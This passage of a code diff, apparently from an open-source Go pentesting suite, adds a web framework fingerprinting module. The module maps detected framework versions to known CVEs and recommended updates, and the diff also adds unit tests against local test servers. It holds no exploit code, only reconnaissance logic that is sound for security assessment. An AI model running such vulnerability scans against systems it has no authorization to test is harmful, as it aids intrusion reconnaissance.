Description: "Improper input validation leading to arbitrary code execution",
|
||||
Recommendations: []string{"Update to Magento 2.4.3-p1 or later"},
|
||||
},
|
||||
},
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
)
|
||||
|
||||
// detectionThreshold is the minimum confidence for a detection to be reported.
|
||||
const detectionThreshold = 0.5
|
||||
|
||||
// maxBodySize limits response body to prevent memory exhaustion.
|
||||
const maxBodySize = 5 * 1024 * 1024
|
||||
|
||||
// detectionResult holds the result from a single detector.
|
||||
type detectionResult struct {
|
||||
name string
|
||||
confidence float32
|
||||
version string
|
||||
}
|
||||
|
||||
// DetectFramework runs all registered detectors against the target URL.
|
||||
func DetectFramework(url string, timeout time.Duration, logdir string) (*FrameworkResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Framework Detection") + "..."))
|
||||
|
||||
frameworklog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Framework Detection 🔍",
|
||||
}).With("url", url)
|
||||
|
||||
client := &http.Client{Timeout: timeout}
|
||||
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, maxBodySize))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
// Get all registered detectors
|
||||
detectors := GetDetectors()
|
||||
if len(detectors) == 0 {
|
||||
frameworklog.Warn("No framework detectors registered")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// Run all detectors concurrently
|
||||
results := make(chan detectionResult, len(detectors))
|
||||
var wg sync.WaitGroup
|
||||
|
||||
for _, detector := range detectors {
|
||||
wg.Add(1)
|
||||
go func(d Detector) {
|
||||
defer wg.Done()
|
||||
confidence, version := d.Detect(bodyStr, resp.Header)
|
||||
results <- detectionResult{
|
||||
name: d.Name(),
|
||||
confidence: confidence,
|
||||
version: version,
|
||||
}
|
||||
}(detector)
|
||||
}
|
||||
|
||||
// Close results channel when all goroutines complete
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(results)
|
||||
}()
|
||||
|
||||
// Find the best match
|
||||
var best detectionResult
|
||||
for r := range results {
|
||||
if r.confidence > best.confidence {
|
||||
best = r
|
||||
}
|
||||
}
|
||||
|
||||
if best.confidence <= detectionThreshold {
|
||||
frameworklog.Info("No framework detected with sufficient confidence")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// Get version match details
|
||||
versionMatch := ExtractVersionOptimized(bodyStr, best.name)
|
||||
cves, suggestions := getVulnerabilities(best.name, best.version)
|
||||
|
||||
result := NewFrameworkResult(best.name, best.version, best.confidence, versionMatch.Confidence)
|
||||
result.WithVulnerabilities(cves, suggestions)
|
||||
|
||||
// Log results
|
||||
if logdir != "" {
|
||||
logEntry := fmt.Sprintf("Detected framework: %s (version: %s, confidence: %.2f, version_confidence: %.2f)\n",
|
||||
best.name, best.version, best.confidence, versionMatch.Confidence)
|
||||
if len(cves) > 0 {
|
||||
logEntry += fmt.Sprintf(" Risk Level: %s\n", result.RiskLevel)
|
||||
logEntry += fmt.Sprintf(" CVEs: %v\n", cves)
|
||||
logEntry += fmt.Sprintf(" Recommendations: %v\n", suggestions)
|
||||
}
|
||||
logger.Write(url, logdir, logEntry)
|
||||
}
|
||||
|
||||
frameworklog.Infof("Detected %s framework (version: %s, confidence: %.2f)",
|
||||
styles.Highlight.Render(best.name), best.version, best.confidence)
|
||||
|
||||
if versionMatch.Confidence > 0 {
|
||||
frameworklog.Debugf("Version detected from: %s (confidence: %.2f)",
|
||||
versionMatch.Source, versionMatch.Confidence)
|
||||
}
|
||||
|
||||
if len(cves) > 0 {
|
||||
frameworklog.Warnf("Risk level: %s", styles.SeverityHigh.Render(result.RiskLevel))
|
||||
for _, cve := range cves {
|
||||
frameworklog.Warnf("Found potential vulnerability: %s", styles.Highlight.Render(cve))
|
||||
}
|
||||
for _, suggestion := range suggestions {
|
||||
frameworklog.Infof("Recommendation: %s", suggestion)
|
||||
}
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// getVulnerabilities returns CVEs and recommendations for a framework version.
|
||||
func getVulnerabilities(framework, version string) ([]string, []string) {
|
||||
entries, exists := knownCVEs[framework]
|
||||
if !exists {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var cves []string
|
||||
var recommendations []string
|
||||
seenRecs := make(map[string]bool)
|
||||
|
||||
for _, entry := range entries {
|
||||
for _, affectedVer := range entry.AffectedVersions {
|
||||
if version == affectedVer || hasPrefix(version, affectedVer) {
|
||||
cves = append(cves, fmt.Sprintf("%s (%s)", entry.CVE, entry.Severity))
|
||||
for _, rec := range entry.Recommendations {
|
||||
if !seenRecs[rec] {
|
||||
recommendations = append(recommendations, rec)
|
||||
seenRecs[rec] = true
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cves, recommendations
|
||||
}
|
||||
|
||||
// hasPrefix is a simple prefix check without importing strings.
|
||||
func hasPrefix(s, prefix string) bool {
|
||||
return len(s) >= len(prefix) && s[:len(prefix)] == prefix
|
||||
}
|
||||
@@ -0,0 +1,461 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc, xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/dropalldatabases/sif/internal/scan/frameworks"
|
||||
// Import detectors to register them via init()
|
||||
_ "github.com/dropalldatabases/sif/internal/scan/frameworks/detectors"
|
||||
)
|
||||
|
||||
func TestExtractVersion_Laravel(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Laravel 8.0.0", "8.0.0"},
|
||||
{"Laravel v9.52.1", "9.52.1"},
|
||||
{"Laravel 10.0", "10.0"},
|
||||
{"no version here", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := frameworks.ExtractVersionOptimized(tt.body, "Laravel").Version
|
||||
if result != tt.expected {
|
||||
t.Errorf("ExtractVersionOptimized(%q, 'Laravel') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersion_Django(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Django 4.2.0", "4.2.0"},
|
||||
{"Django/3.2.1", "3.2.1"},
|
||||
{"no version", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := frameworks.ExtractVersionOptimized(tt.body, "Django").Version
|
||||
if result != tt.expected {
|
||||
t.Errorf("ExtractVersionOptimized(%q, 'Django') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersion_NextJS(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Next.js 13.4.0", "13.4.0"},
|
||||
{"Next.js/14.0.1", "14.0.1"},
|
||||
{"no version", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := frameworks.ExtractVersionOptimized(tt.body, "Next.js").Version
|
||||
if result != tt.expected {
|
||||
t.Errorf("ExtractVersionOptimized(%q, 'Next.js') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_NextJS(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Test</title></head>
|
||||
<body>
|
||||
<script id="__NEXT_DATA__" type="application/json">{"props":{}}</script>
|
||||
<script src="/_next/static/chunks/main.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Next.js" {
|
||||
t.Errorf("expected framework 'Next.js', got '%s'", result.Name)
|
||||
}
|
||||
if result.Confidence <= 0 {
|
||||
t.Error("expected positive confidence")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Express(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("X-Powered-By", "Express")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`<!DOCTYPE html><html><body>Hello</body></html>`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Express.js" {
|
||||
t.Errorf("expected framework 'Express.js', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_WordPress(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<link rel="stylesheet" href="/wp-content/themes/theme/style.css">
|
||||
<script src="/wp-includes/js/jquery.js"></script>
|
||||
</head>
|
||||
<body></body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "WordPress" {
|
||||
t.Errorf("expected framework 'WordPress', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_ASPNET(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("X-AspNet-Version", "4.0.30319")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<input type="hidden" name="__VIEWSTATE" value="abc123">
|
||||
<input type="hidden" name="__EVENTVALIDATION" value="xyz789">
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "ASP.NET" {
|
||||
t.Errorf("expected framework 'ASP.NET', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_NoMatch(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`<!DOCTYPE html><html><body>Simple page</body></html>`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
// result can be nil or have low confidence for unrecognized frameworks
|
||||
if result != nil && result.Confidence > 0.6 {
|
||||
t.Errorf("expected low confidence or nil result for plain HTML, got %s with %.2f", result.Name, result.Confidence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFrameworkResult_Fields(t *testing.T) {
|
||||
result := frameworks.NewFrameworkResult("Laravel", "9.0.0", 0.85, 0.9)
|
||||
result.WithVulnerabilities([]string{"CVE-2021-3129"}, []string{"Update to latest version"})
|
||||
|
||||
if result.Name != "Laravel" {
|
||||
t.Errorf("expected Name 'Laravel', got '%s'", result.Name)
|
||||
}
|
||||
if result.Version != "9.0.0" {
|
||||
t.Errorf("expected Version '9.0.0', got '%s'", result.Version)
|
||||
}
|
||||
if result.Confidence != 0.85 {
|
||||
t.Errorf("expected Confidence 0.85, got %f", result.Confidence)
|
||||
}
|
||||
if result.VersionConfidence != 0.9 {
|
||||
t.Errorf("expected VersionConfidence 0.9, got %f", result.VersionConfidence)
|
||||
}
|
||||
if len(result.CVEs) != 1 {
|
||||
t.Errorf("expected 1 CVE, got %d", len(result.CVEs))
|
||||
}
|
||||
if len(result.Suggestions) != 1 {
|
||||
t.Errorf("expected 1 suggestion, got %d", len(result.Suggestions))
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersionWithConfidence(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
framework string
|
||||
wantVer string
|
||||
minConf float32
|
||||
}{
|
||||
{"Laravel explicit", "Laravel 8.0.0", "Laravel", "8.0.0", 0.8},
|
||||
{"Angular ng-version", `<html ng-version="14.2.0">`, "Angular", "14.2.0", 0.9},
|
||||
{"WordPress generator", `<meta name="generator" content="WordPress 6.1.0">`, "WordPress", "6.1.0", 0.9},
|
||||
{"Vue CDN", "vue@3.2.0/dist", "Vue.js", "3.2.0", 0.7},
|
||||
{"No version", "Hello World", "Laravel", "unknown", 0},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := frameworks.ExtractVersionOptimized(tt.body, tt.framework)
|
||||
if result.Version != tt.wantVer {
|
||||
t.Errorf("ExtractVersionOptimized() version = %q, want %q", result.Version, tt.wantVer)
|
||||
}
|
||||
if result.Confidence < tt.minConf {
|
||||
t.Errorf("ExtractVersionOptimized() confidence = %f, want >= %f", result.Confidence, tt.minConf)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetermineRiskLevel(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
cves []string
|
||||
expected string
|
||||
}{
|
||||
{"no CVEs", []string{}, "low"},
|
||||
{"critical", []string{"CVE-2021-3129 (critical)"}, "critical"},
|
||||
{"high", []string{"CVE-2023-22795 (high)"}, "high"},
|
||||
{"medium", []string{"CVE-2023-46298 (medium)"}, "medium"},
|
||||
{"mixed - critical wins", []string{"CVE-2023-1 (medium)", "CVE-2021-3129 (critical)"}, "critical"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// Test via WithVulnerabilities which uses determineRiskLevel internally
|
||||
result := frameworks.NewFrameworkResult("Test", "1.0", 0.5, 0.5)
|
||||
result.WithVulnerabilities(tt.cves, nil)
|
||||
if result.RiskLevel != tt.expected {
|
||||
t.Errorf("determineRiskLevel() = %q, want %q", result.RiskLevel, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Vue(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Vue App</title></head>
|
||||
<body>
|
||||
<div id="app" data-v-12345>
|
||||
<div v-cloak>Loading...</div>
|
||||
</div>
|
||||
<script src="https://unpkg.com/vue@3.2.0/dist/vue.global.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Vue.js" {
|
||||
t.Errorf("expected framework 'Vue.js', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Angular(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html ng-version="15.0.0">
|
||||
<head><title>Angular App</title></head>
|
||||
<body>
|
||||
<app-root _nghost-abc-c123 _ngcontent-abc-c123></app-root>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Angular" {
|
||||
t.Errorf("expected framework 'Angular', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_React(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>React App</title></head>
|
||||
<body>
|
||||
<div id="root" data-reactroot="">Content</div>
|
||||
<script src="/static/js/react-dom.production.min.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "React" {
|
||||
t.Errorf("expected framework 'React', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Svelte(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Svelte App</title></head>
|
||||
<body>
|
||||
<div id="app" class="__svelte-123">
|
||||
<span class="svelte-abc123">Content</span>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Svelte" {
|
||||
t.Errorf("expected framework 'Svelte', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Joomla(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="generator" content="Joomla! - Open Source Content Management">
|
||||
<script src="/media/jui/js/jquery.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<div class="Joomla">Content</div>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Joomla" {
|
||||
t.Errorf("expected framework 'Joomla', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCVEEntry_Fields(t *testing.T) {
|
||||
entry := frameworks.CVEEntry{
|
||||
CVE: "CVE-2021-3129",
|
||||
AffectedVersions: []string{"8.0.0", "8.0.1"},
|
||||
FixedVersion: "8.4.2",
|
||||
Severity: "critical",
|
||||
Description: "RCE vulnerability",
|
||||
Recommendations: []string{"Update immediately"},
|
||||
}
|
||||
|
||||
if entry.CVE != "CVE-2021-3129" {
|
||||
t.Errorf("expected CVE 'CVE-2021-3129', got '%s'", entry.CVE)
|
||||
}
|
||||
if len(entry.AffectedVersions) != 2 {
|
||||
t.Errorf("expected 2 affected versions, got %d", len(entry.AffectedVersions))
|
||||
}
|
||||
if entry.Severity != "critical" {
|
||||
t.Errorf("expected Severity 'critical', got '%s'", entry.Severity)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectorRegistry(t *testing.T) {
|
||||
detectors := frameworks.GetDetectors()
|
||||
if len(detectors) == 0 {
|
||||
t.Fatal("expected registered detectors, got none")
|
||||
}
|
||||
|
||||
// Check that some expected detectors are registered
|
||||
expectedDetectors := []string{"Laravel", "Django", "React", "Vue.js", "Angular", "Next.js", "WordPress"}
|
||||
for _, name := range expectedDetectors {
|
||||
if _, ok := frameworks.GetDetector(name); !ok {
|
||||
t.Errorf("expected detector %q to be registered", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Signature represents a pattern to match for framework detection.
|
||||
type Signature struct {
|
||||
Pattern string
|
||||
Weight float32
|
||||
HeaderOnly bool
|
||||
}
|
||||
|
||||
// Detector is the interface for framework detection plugins.
|
||||
type Detector interface {
|
||||
// Name returns the unique framework name.
|
||||
Name() string
|
||||
// Signatures returns patterns to search for this framework.
|
||||
Signatures() []Signature
|
||||
// Detect performs detection and returns confidence (0.0-1.0) and version.
|
||||
// The version can be empty if not detectable.
|
||||
Detect(body string, headers http.Header) (confidence float32, version string)
|
||||
}
|
||||
|
||||
// registry holds all registered detectors.
|
||||
var (
|
||||
registryMu sync.RWMutex
|
||||
registry = make(map[string]Detector)
|
||||
)
|
||||
|
||||
// Register adds a detector to the registry. Should be called from init().
|
||||
func Register(d Detector) {
|
||||
registryMu.Lock()
|
||||
defer registryMu.Unlock()
|
||||
registry[d.Name()] = d
|
||||
}
|
||||
|
||||
// GetDetectors returns all registered detectors.
|
||||
func GetDetectors() map[string]Detector {
|
||||
registryMu.RLock()
|
||||
defer registryMu.RUnlock()
|
||||
|
||||
// Return a copy to prevent mutation
|
||||
result := make(map[string]Detector, len(registry))
|
||||
for k, v := range registry {
|
||||
result[k] = v
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// GetDetector returns a specific detector by name.
|
||||
func GetDetector(name string) (Detector, bool) {
|
||||
registryMu.RLock()
|
||||
defer registryMu.RUnlock()
|
||||
d, ok := registry[name]
|
||||
return d, ok
|
||||
}
|
||||
|
||||
// BaseDetector provides common functionality for detector implementations.
|
||||
type BaseDetector struct {
|
||||
name string
|
||||
signatures []Signature
|
||||
}
|
||||
|
||||
// NewBaseDetector creates a new base detector.
|
||||
func NewBaseDetector(name string, signatures []Signature) BaseDetector {
|
||||
return BaseDetector{name: name, signatures: signatures}
|
||||
}
|
||||
|
||||
// Name returns the framework name.
|
||||
func (b BaseDetector) Name() string {
|
||||
return b.name
|
||||
}
|
||||
|
||||
// Signatures returns the detection signatures.
|
||||
func (b BaseDetector) Signatures() []Signature {
|
||||
return b.signatures
|
||||
}
|
||||
|
||||
// MatchSignatures checks body and headers against signatures and returns a weighted score.
|
||||
func (b BaseDetector) MatchSignatures(body string, headers http.Header) float32 {
|
||||
var weightedScore float32
|
||||
var totalWeight float32
|
||||
|
||||
for _, sig := range b.signatures {
|
||||
totalWeight += sig.Weight
|
||||
|
||||
if sig.HeaderOnly {
|
||||
if containsHeader(headers, sig.Pattern) {
|
||||
weightedScore += sig.Weight
|
||||
}
|
||||
} else if strings.Contains(body, sig.Pattern) {
|
||||
weightedScore += sig.Weight
|
||||
}
|
||||
}
|
||||
|
||||
if totalWeight == 0 {
|
||||
return 0
|
||||
}
|
||||
|
||||
return weightedScore / totalWeight
|
||||
}
|
||||
|
||||
// containsHeader checks if a signature pattern exists in headers.
|
||||
func containsHeader(headers http.Header, signature string) bool {
|
||||
sigLower := strings.ToLower(signature)
|
||||
|
||||
// Check header names
|
||||
for name := range headers {
|
||||
if strings.Contains(strings.ToLower(name), sigLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// Check header values
|
||||
for _, values := range headers {
|
||||
for _, value := range values {
|
||||
if strings.Contains(strings.ToLower(value), sigLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,476 @@
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"math"
|
||||
"net/http"
|
||||
|
||||
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// Register all backend detectors
|
||||
fw.Register(&laravelDetector{})
|
||||
fw.Register(&djangoDetector{})
|
||||
fw.Register(&railsDetector{})
|
||||
fw.Register(&expressDetector{})
|
||||
fw.Register(&aspnetDetector{})
|
||||
fw.Register(&aspnetCoreDetector{})
|
||||
fw.Register(&springDetector{})
|
||||
fw.Register(&springBootDetector{})
|
||||
fw.Register(&flaskDetector{})
|
||||
fw.Register(&symfonyDetector{})
|
||||
fw.Register(&fastapiDetector{})
|
||||
fw.Register(&ginDetector{})
|
||||
fw.Register(&phoenixDetector{})
|
||||
fw.Register(&strapiDetector{})
|
||||
fw.Register(&adonisDetector{})
|
||||
fw.Register(&cakephpDetector{})
|
||||
fw.Register(&codeigniterDetector{})
|
||||
}
|
||||
|
||||
// sigmoidConfidence converts a weighted score to a 0-1 confidence value.
|
||||
func sigmoidConfidence(score float32) float32 {
|
||||
return float32(1.0 / (1.0 + math.Exp(-float64(score)*6.0)))
|
||||
}
|
||||
|
||||
// laravelDetector detects Laravel framework.
|
||||
type laravelDetector struct {
|
||||
fw.BaseDetector
|
||||
}
|
||||
|
||||
func (d *laravelDetector) Name() string { return "Laravel" }
|
||||
|
||||
func (d *laravelDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "laravel_session", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "XSRF-TOKEN", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `<meta name="csrf-token"`, Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *laravelDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// djangoDetector detects Django framework.
|
||||
type djangoDetector struct{}
|
||||
|
||||
func (d *djangoDetector) Name() string { return "Django" }
|
||||
|
||||
func (d *djangoDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "csrfmiddlewaretoken", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "csrftoken", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "django.contrib", Weight: 0.3},
|
||||
{Pattern: "django.core", Weight: 0.3},
|
||||
{Pattern: "__admin_media_prefix__", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *djangoDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
